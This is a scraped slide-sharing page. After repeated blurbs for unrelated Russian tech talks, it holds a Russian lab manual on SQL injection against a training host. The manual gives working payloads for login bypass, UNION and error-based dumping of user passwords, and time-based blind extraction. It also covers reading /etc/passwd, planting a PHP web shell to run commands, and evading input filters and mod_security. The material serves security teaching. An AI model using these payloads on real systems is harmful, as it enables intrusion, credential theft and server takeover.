Сергей Аверин, То, что вы хотели знать о HandlerSocket, но не смогли нагуглитьTanya Denisyuk
После этого доклада вы будете знать, что такое Handlersocket, нужен ли он вам и «как его готовить».
Все как обычно — грабли, шишки, слезы из реальной жизни, направления «куда копать», примеры из практики. Вместе с докладом Сергей выложит код самописного php-клиента для HS, который мы используем в Badoo.
Доклад Сергея Аверина на CodeFest-2013. "MySQL+HandlerSocket=NoSQL".Badoo Development
Мы уже около 3-х лет используем HandlerSocket в нашей инфраструктуре сайта badoo.com. За это время мы накопили опыт решения характерных для Handlersocket проблем, появляющихся при использовании.
Несколько команд внутри Баду активно используют HS для решения разноплановых задач мобильных и настольных приложений Баду. Где-то мы используем HS как замену Memcached, где-то как простой поисковый механизм, где-то как хранилище типа ключ-значение. Наш HS-кластер содержит более 30 серверов, обрабатывая порядка 8000 запросов/сек.
Спикер также предоставляет написанный им код библиотеки-клиента для Handlersocket на PHP.
Про что доклад:
• что это вообще такое;
• чем является HS и чем не является;
• внутреннее устройство и работа HS;
• протокол;
• примеры использования в Баду, с цифрами и графиками;
• особенности: шардирование, Percona Server, постоянные соединения (бенефиты, проблемы и их решения), tips & tricks;
• полезные сслыки, ответы на FAQ.
Доклад рассчитан на highload-разработчиков, работающих с реляционными БД.
Лекция #5. Введение в язык программирования Python 3Яковенко Кирилл
Web-программирование
Лекция #5. Введение в язык программирования Python 3
Цикл лекций читается в Омском государственном университете им. Ф.М.Достоевского на факультете компьютерных наук.
Лектор: Яковенко Кирилл Сергеевич.
Лекция 7. Исключения и менеджеры контекста.Roman Brovko
Исключения, зачем они нужны и как их обрабатывать. Встроенные исключения и базовые классы BaseException и Exception. Операторы try...except..else..finally. Менеджеры контекста и модуль contextlib.
СУБД 2013 Лекция №4 "Расширенные возможности работы с базами данных. Триггеры...Technopark
Технопарк Mail.ru Group, МГТУ им. Н.Э. Баумана. Курс "Базы данных". Лекция №4 "Расширенные возможности работы с базами данных. Триггеры и хранимые процедуры"
Лектор - Павел Щербинин.
Первая часть лекции посвящена хранимым процедурам (использование, примеры кода, аспекты безопасности при использовании хранимых процедур): LOOP, REPEAT, WHILE, HANDLER, курсоры, EXECUTE. Во второй части рассказывается о триггерах: BEFORE, AFTER, INSTEAD OF, о специальных таблицах inserted, updated и deleted, об использовании триггеров для поддержания целостности и бизнес-логики, о проблемах при использовании триггеров, приводятся примеры кода. В завершающей части лекции обсуждаются вопросы, связанные с транзакциями: концепция A.C.I.D.; уровни изоляции ANSI/ISO (SET TRANSACTION ISOLATION LEVEL); взаимовлияние транзакций и проблемы lost update, dirty read, non-repeatable read и phantom read; технология MVCC (контроль версионирования конкуренции); конкуренция; параллельность и согласованность.
Видео лекции курса https://www.youtube.com/playlist?list=PLrCZzMib1e9obOz5K695ugYuiOOCBciEi
Web-программирование
Лекция #7. Django ORM
Цикл лекций читается в Омском государственном университете им. Ф.М.Достоевского на факультете компьютерных наук.
Лектор: Яковенко Кирилл Сергеевич.
Сергей Аверин, То, что вы хотели знать о HandlerSocket, но не смогли нагуглитьTanya Denisyuk
После этого доклада вы будете знать, что такое Handlersocket, нужен ли он вам и «как его готовить».
Все как обычно — грабли, шишки, слезы из реальной жизни, направления «куда копать», примеры из практики. Вместе с докладом Сергей выложит код самописного php-клиента для HS, который мы используем в Badoo.
Доклад Сергея Аверина на CodeFest-2013. "MySQL+HandlerSocket=NoSQL".Badoo Development
Мы уже около 3-х лет используем HandlerSocket в нашей инфраструктуре сайта badoo.com. За это время мы накопили опыт решения характерных для Handlersocket проблем, появляющихся при использовании.
Несколько команд внутри Баду активно используют HS для решения разноплановых задач мобильных и настольных приложений Баду. Где-то мы используем HS как замену Memcached, где-то как простой поисковый механизм, где-то как хранилище типа ключ-значение. Наш HS-кластер содержит более 30 серверов, обрабатывая порядка 8000 запросов/сек.
Спикер также предоставляет написанный им код библиотеки-клиента для Handlersocket на PHP.
Про что доклад:
• что это вообще такое;
• чем является HS и чем не является;
• внутреннее устройство и работа HS;
• протокол;
• примеры использования в Баду, с цифрами и графиками;
• особенности: шардирование, Percona Server, постоянные соединения (бенефиты, проблемы и их решения), tips & tricks;
• полезные сслыки, ответы на FAQ.
Доклад рассчитан на highload-разработчиков, работающих с реляционными БД.
Лекция #5. Введение в язык программирования Python 3Яковенко Кирилл
Web-программирование
Лекция #5. Введение в язык программирования Python 3
Цикл лекций читается в Омском государственном университете им. Ф.М.Достоевского на факультете компьютерных наук.
Лектор: Яковенко Кирилл Сергеевич.
Лекция 7. Исключения и менеджеры контекста.Roman Brovko
Исключения, зачем они нужны и как их обрабатывать. Встроенные исключения и базовые классы BaseException и Exception. Операторы try...except..else..finally. Менеджеры контекста и модуль contextlib.
СУБД 2013 Лекция №4 "Расширенные возможности работы с базами данных. Триггеры...Technopark
Технопарк Mail.ru Group, МГТУ им. Н.Э. Баумана. Курс "Базы данных". Лекция №4 "Расширенные возможности работы с базами данных. Триггеры и хранимые процедуры"
Лектор - Павел Щербинин.
Первая часть лекции посвящена хранимым процедурам (использование, примеры кода, аспекты безопасности при использовании хранимых процедур): LOOP, REPEAT, WHILE, HANDLER, курсоры, EXECUTE. Во второй части рассказывается о триггерах: BEFORE, AFTER, INSTEAD OF, о специальных таблицах inserted, updated и deleted, об использовании триггеров для поддержания целостности и бизнес-логики, о проблемах при использовании триггеров, приводятся примеры кода. В завершающей части лекции обсуждаются вопросы, связанные с транзакциями: концепция A.C.I.D.; уровни изоляции ANSI/ISO (SET TRANSACTION ISOLATION LEVEL); взаимовлияние транзакций и проблемы lost update, dirty read, non-repeatable read и phantom read; технология MVCC (контроль версионирования конкуренции); конкуренция; параллельность и согласованность.
Видео лекции курса https://www.youtube.com/playlist?list=PLrCZzMib1e9obOz5K695ugYuiOOCBciEi
Web-программирование
Лекция #7. Django ORM
Цикл лекций читается в Омском государственном университете им. Ф.М.Достоевского на факультете компьютерных наук.
Лектор: Яковенко Кирилл Сергеевич.
Статический анализ кода: Что? Как? Зачем?Andrey Karpov
Методология статического анализа год за годом зарекомендовывает себя в поисках дефектов в исходном коде программ.
Максим расскажет про:
- методологию статического анализа и какие плюсы и минусы у нее есть;
- технологии этой методологии, которые позволяют выявлять разнообразнейшие дефекты в коде;
- интересные примеры ошибок в реальных проектах, которые были найдены при помощи статического анализа;
- интеграцию инструментов статического анализа в проекты любой сложности, и почему так важно регулярное использование подобных инструментов.
Основные новшества Java 9, которые, на мой взгляд, наиболее актуальны.
Здоровая критика и дополнения приветствуются. Есть текстовый документ, где всё это расписано немного подробнее.
Ошибки, которые сложно заметить на code review, но которые находятся статичес...Andrey Karpov
Есть ошибки, которые легко прячутся от программистов на обзорах кода. Чаще всего они связаны с опечатками или недостаточным знанием тонких нюансах языка/библиотеки. Давайте посмотрим интересные примеры таких ошибок и как их можно выявить с помощью статического анализа. При этом анализаторы не конкурируют с обзорами кода или, например, юнит-тестами. Они отлично дополняют другие методологии борьбы с ошибками.
Выполняет анализ кода на языках: C, C++, C++/CLI, C++/CX, C#. Plugin для Visual Studio 2010-2015. Интеграция с SonarQube, QtCreator, CLion, Eclipse CDT, Anjuta DevStudio и т.д. Быстрый старт (мониторинг компиляции). Прямая интеграция анализатора в системы автоматизации сборки и утилита BlameNotifier (рассылка писем). Режим автоматического анализа изменённых файлов. Почему нужны анализаторы кода?
Тестирование на проникновение в сетях Microsoft (v.2)Dmitry Evteev
Как показывает практика проведения тестирований на проникновение компанией Positive Technologies, всего 4-х часов достаточно атакующему, находящемуся во внутренней сети компании, для того, чтобы получить максимальный уровень привилегий. С чем это связано и можно ли от этого защититься? Данная тема будет освещена в ходе доклада Дмитрия Евтеева. На вебинаре будут подробно рассмотрены типовые успешные сценарии атак в сетях Microsoft, а также действия атакующего, связанные с пост эксплуатацией в Active Directory.
В современном бизнесе все решает время. Доступность корпоративных приложений из любой точки земного шара и с любых мобильных устройств - это и есть облик современного бизнеса. Но как обеспечить подобную доступность? VPN-шлюзы? Доставка приложений через веб-сервисы? Каждая компания свободна в выборе любого из решений. Но насколько безопасны эти решения? В презентации затронута практическая безопасность при организации удаленного доступа к приложениям с использованием решений самых популярных брендов в этой сфере.
РусКрипто CTF 2010 Full Disclosure (мастер класс)Dmitry Evteev
В презентации рассмотрены следующие вопросы:
- технические и организационные подробности подготовки и проведения РусКрипто CTF 2010
- заложенные уязвимости, пути их обнаружения и эксплуатации
- хронология событий на РусКрипто CTF 2010 и не найденные игроками уязвимости
Развитие систем анализа защищенности. Взгляд в будущее!Dmitry Evteev
Системы анализа защищенности являются удобным и простым инструментом, помогающим своевременно обнаруживать уязвимости в информационных системах. Они прошли долгий путь от утилит из набора "для хакера" до систем обеспечения информационной безопасности в инфраструктуре любой сложности. Как все было на самом деле, что мы имеем сейчас и что нас ждет в будущем? Именно об этом и пойдет речь в этом выступлении.
Использование Web Application Firewall вызвано желанием снизить существующие угрозы со стороны атак, направленных на эксплуатацию уязвимостей в Web-приложениях. Однако, как и все созданное человек, WAF имеет недостатки, которые позволяют воспользоваться уязвимостями даже на самых защищенных серверах…
В презентации рассмотрены следующие вопросы:
- технические и организационные подробности подготовки и проведения РусКрипто CTF 2010
- заложенные уязвимости, пути их обнаружения и эксплуатации
- хронология событий на РусКрипто CTF 2010 и не найденные игроками уязвимости
2. ОГЛАВЛЕНИЕ
1 ЗАДАНИЯ ЛАБОРАТОРНОЙ РАБОТЫ .........................................................................3
1.1 «В НЕДРЕНИЕ ОПЕРАТОРОВ SQL» (SQL I NJECTION ) 3
1.2 «С ЛЕПОЕ ВНЕДРЕНИЕ ОПЕРАТОРОВ SQL» (B LIND SQL I NJECTION ) 5
1.3 Р АБОТА С ФАЙЛОВОЙ СИСТЕМОЙ ПРИ ЭКСПЛУАТАЦИИ УЯЗВИМОСТИ SQL I NJECTION 7
1.4 В ЫПОЛНЕНИЕ КОМАНД НА СЕРВЕРЕ ПРИ ЭКСПЛУАТАЦИИ УЯЗВИМОСТИ SQL I NJECTION 8
1.5 О БХОД ПРОГРАММНЫХ ФИЛЬТРОВ БЕЗОПАСНОСТИ ПРИ ЭКСПЛУАТАЦИИ УЯЗВИМОСТИ SQL I NJECTION 9
1.6 О БХОД W EB A PPLICATION F IREWALL (WAF) ПРИ ЭКСПЛУАТАЦИИ УЯЗВИМОСТИ SQL I NJECTION 11
2 ДОПОЛНИТЕЛЬНЫЕ МАТЕРИАЛЫ .............................................................................12
2.1 И НСТРУМЕНТЫ ДЛЯ РАБОТЫ С SQL I NJECTION 12
2.2 С СЫЛКИ НА ДОПОЛНИТЕЛЬНЫЕ МАТЕРИАЛЫ 12
Лабораторная работа по теме «Внедрение операторов SQL» Страница 2 из 12
3. 1 Задания лабораторной работы
1.1«Внедрение операторов SQL» (SQL Injection)
Действие Описание
Примечание: Действие выполняется из интерфейса http://192.168.0.51:80/
1. Обнаружить a. Зайдите на интерфейс http://192.168.0.51:80/
уязвимость SQL b. Укажите в качестве имени пользователя и пароля 1
Injection
c. Вы увидите уведомление об ошибке авторизации.
d. В качестве имени пользователя укажите 1'
e. В качестве пароля укажите 1
f. Вы должны увидеть следующее сообщение об ошибке:
Query failed: You have an error in your SQL syntax
2. Обойти процедуру a. В том же интерфейсе укажите в качестве имени пользователя и пароля 1'OR'1'='1
аутентификации b. Вы должны увидеть следующее сообщение об успешной авторизации:
Logged as Administrator
c. Вернитесь к началу и попробуйте ввести разные комбинации в качестве имени
пользователя и пароля, например:
'or 1=1--
'or(1)=(1)--
'or 0x50=0x50--
d. Во всех приведенных случаях в примере выше Вы будете являться авторизованным
пользователем системы, что достигается путем эксплуатации уязвимости SQL
Injection.
3. Получить список a. Перейдите по ссылке, которая становиться доступной после успешной авторизации в
всех таблиц и системе.
колонок в b. В качестве параметра «id» в адресной строке браузера введите следующую
пространстве СУБД комбинацию:
14+union+select+'mytext'
c. Теперь, в качестве параметра «id» в адресной строке браузера введите такую
комбинацию:
14+limit+0+union+select+'mytext'
d. Как можно заметить, в этом случае на странице отображается текст, который введен
между двумя одинарными кавычками.
mytext
e. На этот раз в качестве параметра «id» в адресной строке браузера введите
следующую комбинацию:
14+union+select+'mytext'--
f. Должен быть получен результат, аналогичный предыдущему, но при выполнении
этого запроса отобразится вводимый текст между двумя одинарными кавычками
Лабораторная работа по теме «Внедрение операторов SQL» Страница 3 из 12
4. Действие Описание
совместно с данными из СУБД.
test14
mytext
g. Попробуйте в качестве параметра «id» в адресной строке браузера ввести
следующую комбинацию:
14+OR+1=1--
Вы увидите содержимое всей таблицы.
h. Выведите список всех таблиц и колонок в базе данных, выполнив следующий запрос:
?id=14+union+select+concat_ws(0x3a,table_name,column_name)
+from+information_schema.columns--
i. Получите все значения из таблицы «users». Запрос должен выглядеть следующим
образом:
?id=14+union+select+concat_ws(0x3a,id,login,password,name)+from+users--
4. Авторизоваться под a. Используя данные, полученные на предыдущем этапе, авторизуйтесь в интерфейсе
пользователем http://192.168.0.51:80/ под пользователем sqladmin.
«sqladmin»
Лабораторная работа по теме «Внедрение операторов SQL» Страница 4 из 12
5. 1.2«Слепое внедрение операторов SQL» (Blind
SQL Injection)
Действие Описание
Примечание: Действие выполняется из интерфейса http://192.168.0.51:81/
1. Используя a. Зайдите на интерфейс http://192.168.0.51:81/
одинарную кавычку, b. Перейдите на страницу «/actions.php».
найти уязвимость
c. Последовательно, подставляя одинарную кавычку во все параметры, передаваемые
типа Blind SQL
странице методом GET, необходимо обнаружить уязвимость SQL Injection. В
Injection
данном случае – это Blind SQL Injection.
Query failed: You have an error in your SQL syntax
d. Убедитесь, что в данном случае уязвимость является «Слепым внедрением
операторов SQL», используя методы, изученные на предыдущем занятии.
2. Используя технику с a. В уязвимый параметр введите следующую конструкцию:
функцией 1 AND extractvalue(1,concat(0x5C,(select 'mytext')))--
ExtractValue()
b. Как можно заметить, на странице отображается текст, который вводится между
получить
двумя одинарными кавычками.
идентификаторы и
пароли всех Query failed: XPATH syntax error: 'mytext'
пользователей c. Используйте следующий запрос, чтобы получить запись о первой таблице с первой
3. Авторизоваться под колонкой этой таблицы в пространстве СУБД:
пользователем 1 AND extractvalue(1,concat(0x5C,(select concat_ws(0x3a,table_name,column_name)
«blindSQLadmin» from information_schema.columns limit 0,1)))--
d. Используя подобный запрос, становиться возможным последовательно выявить всю
доступную структуру СУБД. Следующий запрос позволит прийти к цели несколько
быстрее:
1 AND extractvalue(1,concat(0x5C,(select concat_ws(0x3a,table_name,column_name)
from information_schema.columns where table_schema!='information_schema' limit
0,1)))--
e. Увеличивая значение limit (limit 0,1 > limit 1,1 > limit 2,1 и т.д.), узнайте название
таблицы пользователей и колонок в ней.
f. Используя все ту же технику эксплуатации уязвимости Blind SQL Injection, получите
пароль пользователя «blindSQLadmin».
Опционально, можно получить пароли и других пользователей в этой таблице.
g. Авторизуйтесь под пользователем «blindSQLadmin» в интерфейсе
http://192.168.0.51:81/.
Примечание: Помните про ограничение в 31 символ в возвращаемой ошибке, вызываемой функцией extractvalue().
Для обхода этого ограничения может использоваться функция MID(). Пример: mid((select 123 from table limit 0,1),32,63)
4. Используя «sleep()», a. Перейдите на страницу «/actions.php».
найти уязвимость b. Последовательно подставляя конструкцию «1 and+sleep(10)--» во все параметры,
типа Double Blind передаваемые к странице методом GET, можно обнаружить уязвимость Double Blind
SQL Injection
Лабораторная работа по теме «Внедрение операторов SQL» Страница 5 из 12
6. Действие Описание
SQL Injection, помимо уже выявленной «Слепой инъекции».
Примечание: Функция sleep() приостанавливает выполнение запроса на N секунд.
5. Используя технику a. В уязвимый параметр подставьте следующие конструкции и сравните результаты их
эксплуатации выполнения:
уязвимости данного 1 AND if((lower(mid((select 'a'),1,1)))='a',sleep(10),1)--
типа, получить
1 AND if((lower(mid((select 'b'),1,1)))='a',sleep(10),1)--
пароль пользователя
«2blindSQLadmin» b. Используя данную технику аналогично методу эксплуатации Blind SQL Injection,
можно получить все доступные таблицы и колонки из таблицы
«information_schema.columns».
Примечание: таблица пользователей для Blind SQL Injection и для Double Blind SQL в
данном тестовом задании отличаются на единицу, а имена колонок полностью
совпадают.
c. Используя технику эксплуатации уязвимости Double Blind SQL Injection, получите
пароль пользователя «2blindSQLadmin».
Примечание: Пароль пользователя «2blindSQLadmin» представлен в нижнем регистре и содержит одну цифру.
6. Авторизоваться под a. Используя данные, полученные на предыдущем этапе, авторизуйтесь под
пользователем пользователем «2blindSQLadmin» в первом интерфейсе http://192.168.0.51:81/.
«2blindSQLadmin»
Лабораторная работа по теме «Внедрение операторов SQL» Страница 6 из 12
7. 1.3Работа с файловой системой при эксплуатации
уязвимости SQL Injection
Действие Описание
Примечание: Действие выполняется из интерфейса http://192.168.0.51:8080/
1. Прочитать файл /etc/ a. Зайдите на интерфейс http://192.168.0.51:8080/
passwd b. В параметр «f» подставьте следующую конструкцию:
5 union select load_file('/etc/passwd')--
c. Таким образом, Вы можете читать любой файл в файловой системе, доступ к
которым на уровне ACL-файловой системы предоставлен пользователю, от имени
которого запущена СУБД.
d. Попробуйте прочитать файлы /etc/hosts, /etc/motd и /etc/rc.conf.
e. Как вы можете заметить, доступ на чтение к файлам /etc/hosts и /etc/motd
предоставлен пользователю MySQL, а доступа к файлу /etc/rc.conf нет.
2. Узнать путь до a. Функция load_file() также позволяет осуществлять листинг каталогов, читая их как
корневого каталога файл.
web-сервера b. Следующая конструкция позволит получить содержимое корневого каталога сервера:
5 union select load_file('/')--
c. Используйте эту технику, чтобы найти корневой каталог текущего виртуального
хоста Web-сервера Apache.
Примечание: Относительный путь к каталогу, который требуется найти, «/data3» .
3. Записать a. Используя конструкции «into outfile» или «into dumpfile», становиться возможным
произвольную создать файл на сервере с произвольным содержимым (если это не противоречит
строку в файл ACL). Вы можете попробовать записать файл в каталог «/tmp», права на запись в
ServerDocumentRoot который обычно есть у всех пользователей ОС:
tmprandom_name 5 union select 'test' into dumpfile '/tmp/test.txt'--
5 union select 'test' into outfile '/tmp/test.txt'--
b. По аналогии с приведенными примерами создайте файл с произвольным именем в
каталоге «/usr/local/www/apache22/data3/tmp».
4. Прочитать a. Прочитайте созданный Вами файл с использованием функции load_file().
созданный файл
Лабораторная работа по теме «Внедрение операторов SQL» Страница 7 из 12
8. 1.4Выполнение команд на сервере при
эксплуатации уязвимости SQL Injection
Действие Описание
Примечание: Действие выполняется из интерфейса http://192.168.0.51:8080/
1. Создать web-shell в a. Зайдите на интерфейс http://192.168.0.51:8080/
каталоге b. Через параметр «f», используя конструкцию «into outfile» или «into dumpfile»,
ServerDocumentRoot запишите следующую строку:
shells
<? system($_GET[cmd]); ?>
в файл с произвольным именем и расширением «php» в корневой каталог текущего
виртуального хоста Web-сервера Apache – «/usr/local/www/apache22/data3/shells/».
2. Воспользоваться a. Обратитесь к созданному файлу по аналогии с приведенным ниже примером:
созданным web-shell http://192.168.0.51:8080/shells/<ваш_файл>.php?cmd=ls
для выполнения
b. Таким образом Вы получили возможность выполнять произвольные команды с
команд на сервере
правами Web-сервера (пользователя, от имени которого запущен демон Apache).
c. Выполните ряд команд, чтобы проверить свои привилегии и получить информацию о
сервере. Например: «ls –la /», «id», «ifconfig», «uptime».
3. Используя web-shell, a. Команда «cat» позволит получить содержимое указанного файла в задании.
получить
содержимое файла
/etc/passwd
Лабораторная работа по теме «Внедрение операторов SQL» Страница 8 из 12
9. 1.5Обход программных фильтров безопасности
при эксплуатации уязвимости SQL Injection
Действие Описание
Примечание: Действие выполняется из интерфейса http://192.168.0.51:8585/
1. Найти уязвимость a. Зайдите на интерфейс http://192.168.0.51:8585/
типа SQL Injection b. Перейдите на страницу «/actions.php».
c. Последовательно подставляя одинарную кавычку во все параметры, передаваемые к
странице методом GET, можно обнаружить уязвимость SQL Injection.
d. Попробуйте проэксплуатировать уязвимость уже известными Вам методами.
Примечание: Запрос должен быть составлен таким образом, чтобы работать в условиях фильтрации. Воспользуйтесь
интерфейсом http://192.168.0.51:8585/hex.php для преобразования строк в шестнадцатеричные представления.
2. Используя null-byte a. Во-первых, передаваемые Web-приложению параметры проверяются с
в начале запроса, использованием бинарно-зависимой функции ereg(), а, во-вторых, приложение
получить все уязвимо к null-byte. Используйте следующий запрос в уязвимом параметре,
идентификаторы и передаваемом к Web-приложению:
пароли из таблицы 1/*%00*/or+1=1--
пользователей
b. Из сообщения об ошибке прослеживается фильтрация поступающих в приложение
данных. Так, можно понять, что происходит следующая фильтрация:
«--» удаляются из запроса
«пробел» заменяется на символ X
c. Cформируйте запрос без пробелов:
1/*%00*/or/**/1=1
d. Таким образом, запрос отработал. Попробуйте использовать union:
1/*%00*/order/**/by/**/2/*в запросе возвращается одна колонка*/
1/*%00*/union/**/select/**/1
e. И снова ошибка. Попробуйте вставить вырезаемую комбинацию «--» в «union» и
«select»:
1/*%00*/uni--on/**/se--lect/**/1
f. Как можно заметить, запрос отработал. Теперь можно попробовать выяснить имя
требуемой таблицы и колонок в ней, выполнив следующий запрос:
1/*%00*/uni--on/**/se--
lect/**/concat_ws(0x3a,table_name,column_name)/**/from/**/information_schema.co
lumns/**/where/**/table_schema!='information_schema'
g. Фильтруются одинарные кавычки. Можно заменить «information_schema» на его
шестнадцатеричный эквивалент «0x696E666F726D6174696F6E5F736368656D61».
Запрос примет вид:
1/*%00*/uni--on/**/se--
lect/**/concat_ws(0x3a,table_name,column_name)/**/from/**/information_schema.co
lumns/**/where/**/table_schema!=0x696E666F726D6174696F6E5F736368656D61
Лабораторная работа по теме «Внедрение операторов SQL» Страница 9 из 12
10. Действие Описание
h. Запрос отработал. Теперь используйте следующий запрос:
1/*%00*/limit/**/0/**/uni--on/**/se--
lect/**/concat_ws(0x3a,table_name,column_name)/**/from/**/information_schema.co
lumns/**/where/**/table_schema!=0x696E666F726D6174696F6E5F736368656D61
i. Такой запрос в условиях фильтрации данного примера позволяет читать содержимое
таблицы «information_schema.columns». Однако воспользоваться конструкцией
«limit 0,1» не получиться, т.к. в конце sql-запроса используется «limit 1» и нет
возможности в данном случае «обрезать» его. Но существует несколько вариантов
решения данной проблемы. Одно из них – отсеивать уже известные данные. Пример:
1/*%00*/limit/**/0/**/uni--on/**/se--
lect/**/concat_ws(0x3a,table_name,column_name)/**/from/**/information_schema.co
lumns/**/where/**/table_schema!=0x696E666F726D6174696F6E5F736368656D61/**/
AND/**/table_name/**/not/**/in(0x616374696F6E73)
Для случая выполнения лабораторной работы подобный подход более чем приемлем.
Но можно использовать и более простое решение:
1/*%00*/limit/**/0/**/uni--on/**/se--
lect/**/concat_ws(0x3a,table_name,column_name)/**/from/**/information_schema.co
lumns/**/where/**/table_schema!=0x696E666F726D6174696F6E5F736368656D61/**/
limit/**/0,1/**/un--ion/**/sel--ect/**/1
j. Используя указанную технику, получите пароль пользователя sqlHacker.
Примечание: Обратите внимание на то, что таблица пользователей расположена в базе данных, отличной от текущей
(по умолчанию для сценария). Для идентификации имени базы данных можно использовать данные из «table_schema»
таблицы «information_schema.columns».
3. Авторизоваться под a. Используя данные, полученные на предыдущем этапе, авторизуйтесь в интерфейсе
пользователем http://192.168.0.51:8585/ под пользователем sqlHacker.
«sqlHacker»
Лабораторная работа по теме «Внедрение операторов SQL» Страница 10 из 12
11. 1.6Обход Web Application Firewall (WAF) при
эксплуатации уязвимости SQL Injection
Действие Описание
Примечание: Действие выполняется из интерфейса http://192.168.0.51:9191/
1. Найти уязвимый a. Зайдите на интерфейс http://192.168.0.51:9191/
сценарий для b. Перейдите по ссылке «actions here».
проведения атаки
c. Используя одинарную кавычку, убедитесь, что оба параметра в адресной строке
методом HPF
уязвимы к атаке «Внедрение операторов SQL».
d. Попробуйте проэксплуатировать уязвимость уже известными Вам методами.
Например, установите в значение любого параметра конструкцию: «1 union select 1»
Вы увидите стандартное сообщение об ошибке, возвращаемое Mod_Security.
Примечание: Web-приложение защищено mod_security v.2.5.9.
2. Используя технику a. Используя технику HPF, следующая конструкция будет пропущена WAF:
HPF, получить все id=-1+union/*&lang=*/select+1,2,3
идентификаторы и
b. Если таким образом попытаться обратиться к таблице
пароли из таблицы
«information_schema.columns» и колонкам «table_name» или «column_name», то
пользователей
WAF заблокирует запрос.
c. Для того чтобы продвинуться дальше, можно попробовать отыскать наиболее
популярные таблицы в текущей базе данных. Например: «logins», «admins», «users».
id=-1+union/*&lang=*/select+1,2,3+from+xxx
Если будет получен ответ:
Query failed: Table 'web5.xxx' doesn't exist
то такой таблицы не существует, в противоположном случае и в этом примере
таблица с запрашиваемым именем в базе данных имеется.
d. После того, как таблица будет найдена, можно воспользоваться новым методом для
обнаружения колонок в MySQL >=5.0 (метод Qwazar):
Обнаружение первой колонки:
id=-1+union/*&lang=*/select+*+from(select+*+from+users+join+users+b)a
Колонка «id» обнаружена, исключаем ее:
id=-1+union/*&lang=*/select+*+from(select+*+from+users+join+users+b+using(id))a
и т.д.
e. После того, как таблица с колонками будут идентифицированы, используя уже
известную Вам технику (п.A), получите пароль пользователя root.
Опционально, можно получить пароли и других пользователей в этой таблице.
3. Авторизоваться под a. Используя данные, полученные на предыдущем этапе, авторизуйтесь в интерфейсе
пользователем http://192.168.0.51:9191/ под пользователем root.
«root»
Лабораторная работа по теме «Внедрение операторов SQL» Страница 11 из 12
12. 2 Дополнительные материалы
2.1 Инструменты для работы с SQL Injection
sqlmap (http://sqlmap.sourceforge.net/)
Полная поддержка: MySQL, Oracle, PostgreSQL и Microsoft SQL Server
Частичная поддержка: Microsoft Access, DB2, Informix, Sybase и Interbase
sqlus (http://sqlsus.sourceforge.net/)
Реализована поддержка только MySQL
bsqlbf-v2 (http://code.google.com/p/bsqlbf-v2/
Больше ориентирована под слепые SQL-инъекции. Реализована поддержка:
MySQL, Oracle, PostgreSQL и Microsoft SQL Server
2.2Ссылки на дополнительные материалы
WASC: http://projects.webappsec.org/SQL-Injection
OWASP: http://www.owasp.org/index.php/SQL_Injection
Ресурсы Securitylab: http://www.securitylab.ru/
Pentestmonkey.net Cheat Sheets: http://pentestmonkey.net/ (Oracle,
MSSQL, MySQL, PostgreSQL, Ingres, DB2, Informix)
Ресурсы Antichat:
MySQL >=4.x: https://forum.antichat.ru/threadnav43966-1-10.html
MySQL 3.x: http://forum.antichat.ru/showthread.php?t=20127
MSSQL: http://forum.antichat.ru/thread15087.html
ORACLE: http://forum.antichat.ru/showthread.php?t=40576
PostgreSQL: http://forum.antichat.ru/thread35599.html
MSAccess: http://forum.antichat.ru/thread50550.html
Лабораторная работа по теме «Внедрение операторов SQL» Страница 12 из 12